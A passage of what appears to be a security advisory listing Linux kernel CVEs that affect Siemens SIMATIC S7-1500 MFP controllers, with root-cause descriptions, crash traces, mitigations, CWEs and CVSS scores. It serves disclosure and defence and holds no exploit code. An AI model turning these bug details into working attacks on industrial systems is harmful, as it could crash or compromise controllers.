(`ns_capable(net-&gt;user_ns, CAP_NET_RAW)`). - Root (or any task with `CAP_NET_RAW`) can trigger this without user namespaces. - An unprivileged `uid=1000` user can trigger this if unprivileged user namespaces are enabled and it can create a userns+netns to obtain namespaced `CAP_NET_RAW` (the attached PoC does this). - Local denial of service: kernel BUG/panic (system crash). - ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31415">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31416</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nfnetlink_log: account for netlink header size This is a followup to an old bug fix: NLMSG_DONE needs to account for the netlink header size, not just the attribute size. This can result in a WARN splat + drop of the netlink message, but other than this there are no ill effects.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31416">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/131.html">CWE-131 Incorrect Calculation of Buffer Size</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31417</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/x25: Fix overflow when accumulating packets Add a check to ensure that `x25_sock.fraglen` does not overflow. The `fraglen` also needs to be resetted when purging `fragment_queue` in `x25_clear_queues()`.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31417">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31418</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: ipset: drop logically empty buckets in mtype_del mtype_del() counts empty slots below n-&gt;pos in k, but it only drops the bucket when both n-&gt;pos and k are zero. This misses buckets whose live entries have all been removed while n-&gt;pos still points past deleted slots. Treat a bucket as empty when all positions below n-&gt;pos are unused and release it directly instead of shrinking it further.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31418">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31421</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: cls_fw: fix NULL pointer dereference on shared blocks The old-method path in fw_classify() calls tcf_block_q() and dereferences q-&gt;handle. Shared blocks leave block-&gt;q NULL, causing a NULL deref when an empty cls_fw filter is attached to a shared block and a packet with a nonzero major skb mark is classified. Reject the configuration in fw_change() when the old method (no TCA_OPTIONS) is used on a shared block, since fw_classify()'s old-method path needs block-&gt;q which is NULL for shared blocks. The fixed null-ptr-deref calling stack: KASAN: null-ptr-deref in range [0x0000000000000038-0x000000000000003f] RIP: 0010:fw_classify (net/sched/cls_fw.c:81) Call Trace: tcf_classify (./include/net/tc_wrapper.h:197 net/sched/cls_api.c:1764 net/sched/cls_api.c:1860) tc_run (net/core/dev.c:4401) __dev_queue_xmit (net/core/dev.c:4535 net/core/dev.c:4790)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31421">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31422</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: cls_flow: fix NULL pointer dereference on shared blocks flow_change() calls tcf_block_q() and dereferences q-&gt;handle to derive a default baseclass. Shared blocks leave block-&gt;q NULL, causing a NULL deref when a flow filter without a fully qualified baseclass is created on a shared block. Check tcf_block_shared() before accessing block-&gt;q and return -EINVAL for shared blocks. This avoids the null-deref shown below: ======================================================================= KASAN: null-ptr-deref in range [0x0000000000000038-0x000000000000003f] RIP: 0010:flow_change (net/sched/cls_flow.c:508) Call Trace: tc_new_tfilter (net/sched/cls_api.c:2432) rtnetlink_rcv_msg (net/core/rtnetlink.c:6980) [...] =======================================================================</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31422">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31423</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: sch_hfsc: fix divide-by-zero in rtsc_min() m2sm() converts a u32 slope to a u64 scaled value. For large inputs (e.g. m1=4000000000), the result can reach 2^32. rtsc_min() stores the difference of two such u64 values in a u32 variable `dsm` and uses it as a divisor. When the difference is exactly 2^32 the truncation yields zero, causing a divide-by-zero oops in the concave-curve intersection path: Oops: divide error: 0000 RIP: 0010:rtsc_min (net/sched/sch_hfsc.c:601) Call Trace: init_ed (net/sched/sch_hfsc.c:629) hfsc_enqueue (net/sched/sch_hfsc.c:1569) [...] Widen `dsm` to u64 and replace do_div() with div64_u64() so the full difference is preserved.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31423">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/369.html">CWE-369 Divide By Zero</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31424</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: x_tables: restrict xt_check_match/xt_check_target extensions for NFPROTO_ARP Weiming Shi says: xt_match and xt_target structs registered with NFPROTO_UNSPEC can be loaded by any protocol family through nft_compat. When such a match/target sets .hooks to restrict which hooks it may run on, the bitmask uses NF_INET_* constants. This is only correct for families whose hook layout matches NF_INET_*: IPv4, IPv6, INET, and bridge all share the same five hooks (PRE_ROUTING ... POST_ROUTING). ARP only has three hooks (IN=0, OUT=1, FORWARD=2) with different semantics. Because NF_ARP_OUT == 1 == NF_INET_LOCAL_IN, the .hooks validation silently passes for the wrong reasons, allowing matches to run on ARP chains where the hook assumptions (e.g. state-&gt;in being set on input hooks) do not hold. This leads to NULL pointer dereferences; xt_devgroup is one concrete example: Oops: general protection fault, probably for non-canonical address 0xdffffc0000000044: 0000 [#1] SMP KASAN NOPTI KASAN: null-ptr-deref in range [0x0000000000000220-0x0000000000000227] RIP: 0010:devgroup_mt+0xff/0x350 Call Trace: nft_match_eval (net/netfilter/nft_compat.c:407) nft_do_chain (net/netfilter/nf_tables_core.c:285) nft_do_chain_arp (net/netfilter/nft_chain_filter.c:61) nf_hook_slow (net/netfilter/core.c:623) arp_xmit (net/ipv4/arp.c:666) Kernel panic - not syncing: Fatal exception in interrupt Fix it by restricting arptables to NFPROTO_ARP extensions only. Note that arptables-legacy only supports: - arpt_CLASSIFY - arpt_mangle - arpt_MARK that provide explicit NFPROTO_ARP match/target declarations.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31424">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1287.html">CWE-1287 Improper Validation of Specified Type of Input</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31427</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_sip: fix use of uninitialized rtp_addr in process_sdp process_sdp() declares union nf_inet_addr rtp_addr on the stack and passes it to the nf_nat_sip sdp_session hook after walking the SDP media descriptions. However rtp_addr is only initialized inside the media loop when a recognized media type with a non-zero port is found. If the SDP body contains no m= lines, only inactive media sections (m=audio 0 ...) or only unrecognized media types, rtp_addr is never assigned. Despite that, the function still calls hooks-&gt;sdp_session() with &amp;rtp_addr, causing nf_nat_sdp_session() to format the stale stack value as an IP address and rewrite the SDP session owner and connection lines with it. With CONFIG_INIT_STACK_ALL_ZERO (default on most distributions) this results in the session-level o= and c= addresses being rewritten to 0.0.0.0 for inactive SDP sessions. Without stack auto-init the rewritten address is whatever happened to be on the stack. Fix this by pre-initializing rtp_addr from the session-level connection address (caddr) when available, and tracking via a have_rtp_addr flag whether any valid address was established. Skip the sdp_session hook entirely when no valid address exists.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31427">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/824.html">CWE-824 Access of Uninitialized Pointer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31428</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nfnetlink_log: fix uninitialized padding leak in NFULA_PAYLOAD __build_packet_message() manually constructs the NFULA_PAYLOAD netlink attribute using skb_put() and skb_copy_bits(), bypassing the standard nla_reserve()/nla_put() helpers. While nla_total_size(data_len) bytes are allocated (including NLA alignment padding), only data_len bytes of actual packet data are copied. The trailing nla_padlen(data_len) bytes (1-3 when data_len is not 4-byte aligned) are never initialized, leaking stale heap contents to userspace via the NFLOG netlink socket. Replace the manual attribute construction with nla_reserve(), which handles the tailroom check, header setup, and padding zeroing via __nla_reserve(). The subsequent skb_copy_bits() fills in the payload data on top of the properly initialized attribute.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31428">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/824.html">CWE-824 Access of Uninitialized Pointer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
